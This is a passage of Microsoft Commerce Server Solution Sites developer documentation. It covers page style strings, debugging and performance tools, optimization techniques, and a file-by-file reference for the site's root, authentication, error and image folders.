ListBox = ""

AddPartnerAndCustomerServiceStyles

The AddPartnerAndCustomerServiceStyles function sets the following styles:

Search Box Styles

header

SearchHeaderTable = " BGCOLOR='#FFFFCC' border='1' cellspacing='5' cellpadding='0'"

body

SearchBodyTable = " BGCOLOR='#FFFFCC' width='100%'"

EditSheet (table) Styles

Grid

ContentsHeaderTable = " BGCOLOR='#CCFFCC' border='0' width='100%' cellspacing='0' cellpadding='0'"

Header

ContentsBodyTable = " BGCOLOR='#FFFFCC' border='0' width='100%' cellspacing='0' cellpadding='0'"

Group Divider

ContentsGroupTable = " BGCOLOR='#CCCCFF' border='0' width='100%' cellspacing='0' cellpadding='0'"

ListSheet (results table) Styles

Header

ListContentsHeaderTable = " BGCOLOR='#CCCCFF' BORDER='0' CELLSPACING='0' CELLPADDING='2' WIDTH='100%'"

Grid

ListContentsBodyTable = " BGCOLOR='#CCFFCC' BORDER='1' CELLSPACING='0' CELLPADDING='2' WIDTH='100%'"

Table Styles

StatusTable = " BGCOLOR='#FFFFFF' border='0' width='100%' cellspacing='0' cellpadding='0'"

FooterTable = " BORDER='0' WIDTH='100%' CELLSPACING='0' CELLPADDING='0'"

MsgBoxTitleTable = " BGCOLOR='#CCCCCC' border='0' width='60%' height='5%' cellspacing='0' cellpadding='0'"

MsgBoxHeadingTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='5%' cellspacing='0' cellpadding='0'"

MsgBoxBodyTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='15%' cellspacing='0' cellpadding='0'"

MsgBoxFooterTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='5%' cellspacing='0' cellpadding='0'"

Font Styles

StatusString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

SearchHeaderString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

SearchBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

ContentsHeaderString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

ContentsGroupString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

ContentsBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

FooterString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxTitleString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxHeadingString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxFooterString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

See Also

Initialization


Debugging Resources

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

It is beyond the scope of this documentation to teach you how to debug Web applications. However, this topic directs you to sources of additional information about how to debug potential problems that may occur with your use of Commerce Server and the Solution Sites.

This topic contains:

  • Articles About Debugging
  • Debugging Tools
  • Articles on ASP Development

Articles About Debugging

The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains a large volume of information related to debugging. You may find the following articles instructive (search for them by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope):

  • Microsoft Visual InterDev 6.0 Debugging
  • Debugging Distributed Web Applications
  • Debugging Applications and Components
  • Troubleshooting Components Under ASP Technology
  • Debugging ASP Applications
  • Debugging Script Objects in ASP Pages for Microsoft Visual InterDev 6.0 Developers

You can find additional information about debugging in the technical articles on the Visual InterDev Web site at http://go.microsoft.com/fwlink/?LinkId=6735.

Debugging Tools

One of the primary tools used to develop Commerce Server was Microsoft Visual Studio, which includes Microsoft Visual InterDev, Microsoft Visual C++, and Microsoft Visual Basic. It is the recommended integrated development environment for working with Commerce Server.

The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains information about additional tools that can be useful when debugging Web applications, including how to acquire these tools. Search for the indicated tool by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope:

  • Microsoft Script Debugger. Search string: "Microsoft Script Debugger for Internet Explorer".
  • IIS Exception Monitor. Search string: "Troubleshooting with Exception Monitor".
  • User Mode Process Dump. Search string: "OEM Support Tools".
  • WinDbg. The WinDbg files are installed when you install the developer tools included with the Platform Software Development Kit (SDK). For information on using WinDbg, see the help file windbg.hlp, which is included with WinDbg.
  • System Monitor, Performance Logs and Alerts, and Event Viewer. These three Microsoft Management Console (MMC) snap-ins are included, by default, in the Commerce Server Manager console. You may find them useful for debugging and performance tuning your Web site.

When debugging pipelines, you should consider turning on logging for pipeline execution to help see where failures occur.

The Order sitelet in the Commerce Server SDK includes the script file DumpOrder.vbs (in the source\pipeline sub-folder). This file is designed to be used with the Scriptor pipeline component. It can be used to dump the contents of an OrderForm object at arbitrary points in the execution of the Order Processing pipeline (OPP). For more information, see the instructions at the beginning of the file DumpOrder.vbs.

Articles on ASP Development

An important way reduce the occurrence of bugs in the first place is to understand and apply various best practices. The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains such information, discussing best practices for Web site development using Active Server Pages (ASP). Search for the following articles by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope:

  • "Improving ASP Application Performance"
  • "ASP Component Guidelines"
  • "Load Test Your ASP Application"
  • "ASP Guidelines"


Optimizing Tools and Techniques

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Monitoring and measuring the performance of your site is the first step in optimizing the performance of your Web site. This section describes some of the performance measuring tools available through Microsoft, and some of the most common optimization techniques in the Solution Sites.

This section includes:

  • Performance Measuring Tools for Solution Sites
  • Optimization Techniques for Solution Sites


Performance Measuring Tools for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Before making any changes to the code in the Solution Sites code, you should measure the performance of your site. To make the most of the time you spend optimizing the performance of your site you must determine which optimizations yield the greatest savings with a minimum amount of development time. Measurements should be done with a proper load, and it is best to measure the all the pages and major components individually, so you can see which components are taking the most time overall. There are many tools available to help you measure the performance of your site.

Microsoft Web Application Stress (WAS) Tool

Microsoft Network Monitor

SQL Server Profiler

System Monitor

Visual Studio Analyzer

Microsoft Web Application Stress (WAS) Tool

This tool reproduces the effects of multiple browsers requesting pages from a Web application. It masks some of the complexities of Web server testing, and it creates an environment similar to production so that problems can be found before you deploy your site. For more information about WAS, see the Microsoft Developer Network at http://go.microsoft.com/fwlink/?LinkId=5161 and search for the Web Application Stress Tool.

Microsoft Network Monitor

This tool monitors real-time traffic on your network, analyzes previously captured data, and extracts data from defined protocol parsers. Network Monitor is also useful for capturing packets between browsers, Web servers, and SQL Server. It provides valuable timing information as well as packet size, network use, and many other statistics that can be valuable for managing system performance. For instructions about installing Network Monitor, see http://go.microsoft.com/fwlink/?LinkId=5161.

SQL Server Profiler

The SQL Server Profiler tool captures Microsoft SQL Server events from a server. The captured events are saved in a trace file that can be analyzed later when trying to diagnose a problem. You can use the trace files to step through problem queries to find the cause of the problem, find and diagnose slow-running queries, or capture the series of SQL statements that lead to a problem. The saved trace file can then be used to replicate the problem on a test server where the problem can be diagnosed. For more information see http://go.microsoft.com/fwlink/?LinkId=6682.

System Monitor

This tool collects extensive data about the ways in which hardware resources and system services are used on your site. Use System Monitor to collect and view real-time performance data on a local computer or from several remote computers. Data can be presented in a printable graph, histogram, or report view. You can incorporate System Monitor functionality into Microsoft Word or other applications in the Microsoft Office suite to link gathered data with Microsoft Word or Microsoft Excel documents. You can also create reusable monitoring configurations that can be installed on other computers using the Microsoft Management Console. For more information, see http://go.microsoft.com/fwlink/?LinkId=6736.

Visual Studio Analyzer

This tool analyzes performance, isolates page faults, and understands the structure of your distributed applications. Visual Studio Analyzer can be used with any application built with the Microsoft Visual Studio tools. Several Microsoft technologies, (COM, ADO and COM+) are shipped with the ability to provide information to Visual Studio Analyzer. In addition, you can customize your own applications to provide information to Visual Studio Analyzer. For more information, see http://go.microsoft.com/fwlink/?LinkId=6737.


Optimization Techniques for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

After measuring your site for bottlenecks and other performance issues, and setting performance goals, you can start tuning your site. This topic discusses some of the most common optimization techniques and their solutions.

Creating a static homepage

Profiling anonymous users

Limiting the number of constants

Tuning the size of existing caches

Caching custom content

Removing unused code

Porting code to Visual Basic

Creating a static homepage

Because static pages do not require database lookups or other Active Server Pages (ASP) processing, you can reduce latency by creating a static home page. Any reduction in dynamic content improves the capacity of your servers. However, creating a static home page may create difficulties if you have users whose browsers do not support cookies.

Profiling anonymous users

Implicit profiling of anonymous users can be a great way to collect information about how users interact with your site. However, the cost of the storing this information may not be beneficial if the information is not analyzed on a regular basis to improve your Web site. To stop profiling anonymous users, change the Site privacy options App Default Config property to two (2). For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

Limiting the number of constants

Measurements indicate that having more than thirty-three constants in an ASP page causes Web site performance to degrade. One solution to this problem is to put all the constants into a type library.

Tuning the size of existing caches

When determining the size of a cache, consider the following: memory requirements of each fragment, the memory on your computer, the hit rate of a particular cache entry, and latency costs to compute each cache entry. In general, expensive calls should be stored in a larger cache than cheaper calls. For example, you may want to set the product cache size to 100,000 and the category cache size to 1,000 if product calls are more expensive than category calls, and the performance measurements indicate that although the product cache size is large, it performs faster than the respective property calls.

Caching custom content

Typically caching content is a much more efficient way to store content than calling object properties each time information is needed. Thus, if you add custom content to your Web site, you should look into caching that content.

When adding a new type of fragment cache, you must first initialize it in the file global_cache_lib.asp, which is similar to the initialization for the ProductList Fragment Cache. If the cache is catalog related, and you determine that it should be refreshed when the catalog changes, you must also add an oCacheManager.RefreshCache entry in the file BDRefresh.asp, so that when changes are made to the cache it will write to a table that will force the page to refresh with the newly updated information.

To determine which fragments are cached and which are not, uncomment the following three lines of debug code in the LookupCachedFragment function in the file include\std_cache_lib.asp:

If Not IsNull(LookupCachedFragment) Then
   LookupCachedFragment = "<TABLE BORDER=1><TR><TD>Cached: " _
   & sCacheName & BR & sCacheItemName& sLanguage & "</TD></TR><TR><TD>"_
   & LookupCachedFragment & "</TD></TR></TABLE>"
End If

This function puts a table cell around all the cached content, so that you visualize which content is cached.

For more information about creating a custom cache, see Code to Implement Custom Cache Components.

Removing Unused Code

If you do not implement all of the features available in the Solution Sites there is no reason to keep unnecessary code. For example, the user authentication code can be simplified if you do not need to support all of the login permutations.

Porting code to Visual Basic

Porting your ASP code to compiled Visual Basic is a fairly easy way to achieve additional performance in your site. However, there are many arguments to consider before porting your ASP code to Visual Basic. Deployment, versioning and debugging will be more difficult.


Solution Sites File Organization

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites are implemented using the exact same set of files. The sites differ with respect to a few configuration values in the App Default Config settings, yielding their different behaviors. For more information about the configuration differences between the Retail and Supplier Solution Sites, see Configuration Setting for Solution Sites.

This section describes the common folder structure used by both Solution Sites, and describes the files in each folder. The topic structure in this section generally mirrors the file folder structure of an unpackaged Solution Site, with each folder topic describing the purpose of the files in the corresponding folder, and containing one topic for each file in the folder. The file topics describe the purpose of each file, and provide links to topics in the Routines Reference, one for each routine in the file.

This section contains:

  • Solution Sites Root Folder
  • Solution Sites AuthFiles Folder
  • Solution Sites Error Folder
  • Solution Sites Images Folder
  • Solutions Sites Include Folder
  • Solution Sites Login Folder
  • Solution Sites Pipeline Folder
  • Solution Sites Services Folder
  • Solution Sites Template Folder


Solution Sites Root Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following files are contained in this folder.

File | Description
_additem.asp | Adds an item to the user's basket and then logs the action as a Commerce event.
_delall.asp | Deletes all items from the user's basket.
_delitem.asp | Delete an item from the user's basket and then logs the action as a Commerce event.
_editqty.asp | Used to change the quantity of an item in the user's basket.
_recvpo.asp | Receives a purchase order form from Microsoft BizTalk Server, transforms the data into a Dictionary object, adds it to the order group, runs the pipeline\recvpo.pcf pipeline, and, on validation, saves the new order.
_setadrs.asp | Used to set the shipping or billing address in the user's basket after picking an address from the address book.
_setship.asp | Used to set the shipping method in the user's basket.
addrbook.asp | Retrieves and displays the address book for editing.
addrform.asp | Displays a page for editing the billing or shipping address.
basket.asp | Initializes and displays the basket page.
BDRefresh.asp | Called from Commerce Server Business Desk, this file refreshes all appropriate caches.
category.asp | Displays the products and categories under a specific category.
confirm.asp | Initializes and displays the confirmation page for an order.
crdtcard.asp | Displays an input screen for credit card information when checking out.
csapp.ini | Contains the site and application names.
default.asp | Prepares and renders the home page.
dispatch.asp | Dispatches the user to the payment method page (crdcard.asp or po.asp) when checking out.
fileslst.txt | This file is not used by the Solution Sites.
global.asa | Creates and initializes global objects and variables, and places them in application scope.
newaddr.asp | Adds, edits, or deletes address book addresses.
opt-out.asp | Adds the user to the opt-out list of a direct mail campaign.
pickship.asp | Displays a page for picking the shipping method.
po.asp | Displays an input screen for purchase order information when checking out.
poschema.xml | Contains the XML-Data Reduced (XDR) schema for purchase order forms.
product.asp | Displays the details for a given product.
rc.xml | Defines localizable string constants.
ReceiveStandard.asp | This file is a standard BizTalk Server receive page used for receiving orders through BizTalk Server over HTTP.
redir.asp | Handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events both in memory and to the Internet Information Services (IIS) log file.
RefreshApp.asp | Called from Business Desk, this file refreshes the definitions associated with the Profiling System.
search.asp | Performs a free text search and displays the results.
ServiceReminder.asp | Serves as an example for generating personalized e-mail using direct mail.
srchdept.asp | Displays a list of specification searchable categories from a catalog.
stepsrch.asp | Performs a product specification search and displays the results.
summary.asp | Displays a summary of the basket order, including the grand total.
unpack.vbs | Used when a site is unpackaged using Commerce Server Site Packager. Sets up the error\500error.asp page to be a custom error handler for the site, as well as certain App Default Config resource properties.
welcome.asp | Displays the "Welcome back" message to previously registered users.


_additem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to add an item to the user's basket and log the action as a Commerce event.

Routines

ApplyVendorInfo

GetProductQuantity

Main

See Also

About the Analysis Integration Feature for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_delall.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to delete all items from the user's basket.

Routines

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_delitem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to delete an item from the user's basket and log the action as a Commerce event.

Routines

Main

See Also

About the Analysis Integration Feature for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_editqty.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to change the quantity of an item in the user's basket.

Routines

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_recvpo.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page receives a purchase order form from BizTalk Server, transforms the data into a Dictionary object, adds it to the order group, runs the pipeline\recvpo.pcf pipeline, and, on validation, saves the new order.

Routines

Main

ParseRequestForm

RunOrderPipeline

See Also

About the BizTalk Server Integration Feature

Solution Sites Root Folder


_setadrs.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to set the shipping or billing address in the user's basket after picking an address from the address book.

Routines

CatchErrors

FetchData

Main

See Also

About the Address Management for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_setship.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to set the shipping method in the user's basket.

Routines

bIsShippingMethodSupported

CatchErrors

GetShippingMethodNameFromID

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


addrbook.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file retrieves and displays the address book for editing.

Routines

CatchErrors

FetchData

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressRows

Main

See Also

About the Address Management for Solution Sites

Solution Sites Root Folder


addrform.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a page for editing the billing or shipping address.

Routines

CatchErrors

GetAnySavedAddressID

GetDefaultValuesForAddressFormFields

GetSavedAddressID

iValidateSubmittedAddress

Main

SaveAddressToOrderGroup

See Also

About the Address Management for Solution Sites

Solutions Sites Root Folder


basket.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes and displays the basket page.

Routines

CheckBasket

CreatePOIndexes

htmRenderBasket

htmRenderBasketWarnings

htmRenderCheckoutButton

htmRenderDiscountMessageGroup

htmRenderDiscountMessages

htmRenderDiscountsApplied

htmRenderPredictions

InitializeBasketPage

Main

PredictedPropToHREF

RenderBasketPage

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


BDRefresh.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file, called from Commerce Server Business Desk, refreshes all appropriate caches.

Routines

sGetScriptError

See Also

Solution Sites Root Folder


category.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the products and categories under a specific category.

Routines

FetchCategoryData

htmCachedProductList

htmCategoryHTML

Main

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


confirm.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes and displays the confirmation page for an order.

Routines

htmRenderConfirmationPage

InitializeConfirmationPage

Main

TerminateConfirmationPage

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


crdtcard.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays an input screen for credit card information when checking out.

Routines

GetDefaultValueForNameOnCard

GetDefaultValuesForCreditCardFields

htmRenderCreditCardPage

InitializeCreditcardPage

Main

RemovePurchaseOrderInfo

SetCreditCardInfo

ValidateSubmittedCreditCardData

See Also

About the Analysis Integration Feature for Solution Sites

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Root Folder


csapp.ini

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is generated by Commerce Server Site Packager during unpacking and contains the site and application names. The information in this file should not be changed and will be lost after packaging and unpacking a site.

Remarks

This file should be secured by turning off both read and anonymous access to it in Internet Information Services (IIS). This file should not be secured with NTFS permissions because it needs to be readable under user credentials such as the IUSR account.

See Also

Solution Sites Root Folder


default.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file prepares and renders the home page.

Routines

htmRenderDefaultPage

Main

PrepareDefaultPage

See Also

Solution Sites Root Folder


dispatch.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file dispatches the user to the payment method page (crdtcard.asp or po.asp) when checking out.

Routines

Main

sLookUpPaymentMethod

See Also

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Root Folder


fileslst.txt

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is not used by the Solution Sites.

See Also

Solution Sites Root Folder


global.asa

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file creates and initializes global objects and variables, and places them in application scope.

Routines

Application_OnStart

Remarks

Most of the creation and initialization of the global objects and variables is performed by a call to the Main subroutine of the file include\global_main_lib.asp. The environment is set to either PRODUCTION or DEVELOPMENT in this file.

See Also

Solution Sites Root Folder


newaddr.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file adds, edits, or deletes address book addresses.

Routines

bIsAddressNameUnique

CatchErrors

dictGetInitialFieldValues

FetchData

htmRenderAddressForm

iValidateSubmittedAddressForAddressBook

Main

SetupAddressForm

UpdateAddressBook

See Also

About the Address Management for Solution Sites

Solution Sites Root Folder


opt-out.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file adds the user to the opt-out list of a direct mail campaign.

Routines

CreateOptOutList

ErrorOut

GetOptOutList

Main

OptOut

SetOptOutList

See Also

Solution Sites Root Folder


pickship.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a page for selecting the shipping method.

Routines

CatchErrors

dictAggregatePreviews

htmCachedShippingMethods

htmRenderPickshipForm

htmRenderShippingMethods

htmRenderShippingOptionsEx

Main

PreparePickShipForm

PrepareShippingMethods

rsGetShippingMethods

sGetDefaultShippingMethod

See Also

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


po.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays, when checking out, an input screen for purchase order information.

Routines

GetDefaultValuesForPurchaseOrderFields

htmRenderPaymentOptionsPage

InitializePO

Main

RedirectToPOConfirmation

RemoveCreditCardInfo

SetPurchaseOrderInfo

TerminatePO

ValidateSubmittedPurchaseOrderData

See Also

About the Analysis Integration Feature for Solution Sites

Solution Sites Root Folder


poschema.xml

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the XML-Data Reduced (XDR) schema for purchase order forms.

See Also

Solution Sites Root Folder


product.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the details of a given product.

Routines

htmRenderBuiltInProperties

htmRenderUserDefinedProductProperties

htmRenderVariantsList

listGetVariantPropertiesToShow

Main

PeekField

sGetPropertyDisplayName

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


rc.xml

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file defines localizable string constants.

See Also

Solution Sites Root Folder


ReceiveStandard.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is a standard BizTalk Server receive page used for receiving orders through BizTalk Server over HTTP.

Routines

None.

See Also

About the BizTalk Server Integration Feature

Solution Sites Root Folder


redir.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events both in memory and to the Internet Information Services (IIS) log file.

Routines

Main

RecordClickToBasket

See Also

Solution Sites Root Folder


RefreshApp.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file, called from Business Desk, refreshes the definitions associated with the Profiling System.

Routines

ProfileRefresh

See Also

Solution Sites Root Folder


search.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file performs a free text search and displays the results.

Routines

bFullTextResultsAreCached

htmRenderFullTextSearchResults

Main

See Also

Solution Sites Root Folder


ServiceReminder.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file serves as an example for generating personalized e-mail using direct mail.

Routines

None.

See Also

Solution Sites Root Folder


srchdept.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a list of specification searchable categories from a catalog.

Routines

arrSearchDept

bIsSearchDeptPageCached

htmRenderSearchDeptPageContent

Main

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


stepsrch.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file performs a product specification search and displays the results.

Routines

bClickedViewButton

bClickedViewOrSearchButton

bIsStepSearchPageCached

GetSpecificationSearchClauses

htmRenderStepSearchPageContent

Main

PerformSpecificationSearch

PrepareSpecificationSearch

ShowRefinedSearch

ShowSearchMatches

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


summary.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a summary of the basket order, including the grand total.

Routines

CatchErrors

htmRenderAddress

htmRenderDiscountsDescriptions

htmRenderGrandTotals

htmRenderOrderForm

htmRenderSummaryPage

htmRenderVerifyWithForm

InitializeSummaryPage

Main

TerminateSummaryPage

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


unpack.vbs

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used when a site is unpacked using Commerce Server Site Packager. It sets up the error\500error.asp page to be a custom error handler for the site, as well as the i_SiteDefaultLocale, i_BaseCurrencyLocale, and s_PageEncodingCharset properties in the App Default Config resource, based on the system locale.

Routines

FormatOutput

Remarks

Since this routine is not used in the Solution Sites, it does not appear in the Routines Reference section.

See Also

500error.asp

App Default Config Settings for Solution Sites

Solution Sites Root Folder


welcome.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the "Welcome back" message to registered users who return to the site.

Routines

Main

See Also

About the Login Feature for Solution Sites

Solution Sites Root Folder


Solution Sites AuthFiles Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder are provided for use with the AuthFilter, the Internet Server API (ISAPI) filter provided with Commerce Server. Only the Supplier AD Solution Site uses the AuthFilter or any files in this folder. These files are included in case you want to integrate the AuthFilter into your Supplier AD site.

The following files are contained in this folder.

File | Description
autocookie.asp | Generates a globally unique identifier (GUID) used to track an anonymous user, creates a ticket containing the GUID, and sets the ticket in a persistent cookie.
error.asp | Used to write an error message to the user.
help.asp | Used to write a help message to the user.
interror.asp | The user is redirected to this page if any abnormal internal errors occur with the AuthFilter or Internet Information Services (IIS).
Login.asp | Handles the login process. A different file with the same name, login\login.asp, is used by the Solution Sites.
nocookie.asp | The user is redirected to this page if cookies are disabled. Provides an informational message.


autocookie.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file generates a globally unique identifier (GUID) used to track an anonymous user, creates a ticket containing the GUID, and sets the ticket in a persistent cookie.

Routines

None.

See Also

Solution Sites AuthFiles Folder


error.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to write an error message to the user.

Routines

None.

See Also

Solution Sites AuthFiles Folder


help.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to write a help message to the user.

Routines

None.

See Also

Solution Sites AuthFiles Folder


interror.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides an informational message. The user is redirected to this page if any abnormal internal errors occur within the AuthFilter or Internet Information Services (IIS).

Routines

None.

See Also

Solution Sites AuthFiles Folder


Login.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file handles the login process. A different file with the same name, login\login.asp, is used by the Solution Sites.

Routines

GetCurrentUserPassword

Remarks

Since this routine is not used in the Solution Sites, it does not appear in the Routines Reference section.

See Also

Solution Sites AuthFiles Folder


nocookie.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides an informational message. The user is redirected to this page if cookies are disabled.

Routines

None.

See Also

Solution Sites AuthFiles Folder


Solution Sites Error Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide for the client display of various error messages. These messages include the error, and sometimes a number of possible causes and links to other pages. The error messages are obtained from the rc.xml file. The file, 500error.asp, provides a centralized place to process Active Server Pages (ASP) errors.

The following files are contained in this folder.

File | Description
500error.asp | Displays messages for any 500 error that occurs during page processing.
baditem.asp | Displays the message that a catalog item is unavailable.
badurl.asp | Displays the message that the URL is not valid.
closed.asp | Displays the message that the site is closed.
construc.asp | Displays the message that the site is under construction.
noauth.asp | Displays the message that the user is not authorized to access the page.
profile.asp | Displays the message that the account (profile) for the user could not be found and provides links to a corrective action.


500error.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Active Server Pages (ASP) application settings for the Solution Sites have been configured so that if any 500 error (an ASP script error, and so on) occurs during page processing, this page will be displayed. The 500error.asp file has been written to show detailed error messages when the site is in DEVELOPMENT mode, but shows a friendlier error message and an event log message when the site is in PRODUCTION mode. Developers are encouraged to modify this file to provide a branded error message, perhaps with Webmaster contact information, and so on, as their needs dictate.

The unpack.vbs file programmatically sets up the ASP application to use this custom error handler. It can also be configured manually using Internet Information Services (IIS).

Routines

RenderDetailedInfoList

RenderErrorType

RenderPageInfo

RenderPostData

RenderTime

See Also

Error Handling for Solution Sites

Solution Sites Error Folder


baditem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that a catalog item is unavailable.

Routines

Main

See Also

Solution Sites Error Folder


badurl.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the URL is not valid.

Routines

Main

See Also

Solution Sites Error Folder


closed.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the site is closed.

Routines

Main

See Also

Solution Sites Error Folder


construc.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the site is under construction.

Routines

Main

See Also

Solution Sites Error Folder


noauth.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the user is not authorized to access the page.

Routines

Main

See Also

Solution Sites Error Folder


profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the account (profile) for the user could not be found, and provides links to a corrective action. The page can be reached, for instance, if the site has deleted the profile associated with a cookie, or if invalid login credentials are given in an Active Directory scenario.

Routines

Main

See Also

Solution Sites Error Folder


Solution Sites Images Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder provides a central repository for images you use on your Web site. With extensibility of the Solution Sites in mind, this folder is subdivided to allow for separating the images by feature area or some other criteria.

This folder contains the following subfolders:

Folder | Description
Catalog | Images used by the Product Catalog System are stored in this folder.
Site | Images used by the site in general are stored in this folder.


Solution Sites Catalog Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Images stored in this folder are intended for use by the Product Catalog System. This folder contains the following file:

File | Description
clockped.gif | An example of an animated image in Graphics Interchange Format (GIF). This image is not used by the Solution Sites.


Solution Sites Site Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Images stored in this folder are intended for use by the site in general. This folder contains the following file:

File | Description
bg.gif | An example of an image that can be used as a page background. This image is not used by the Solution Sites.


Solution Sites Include Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

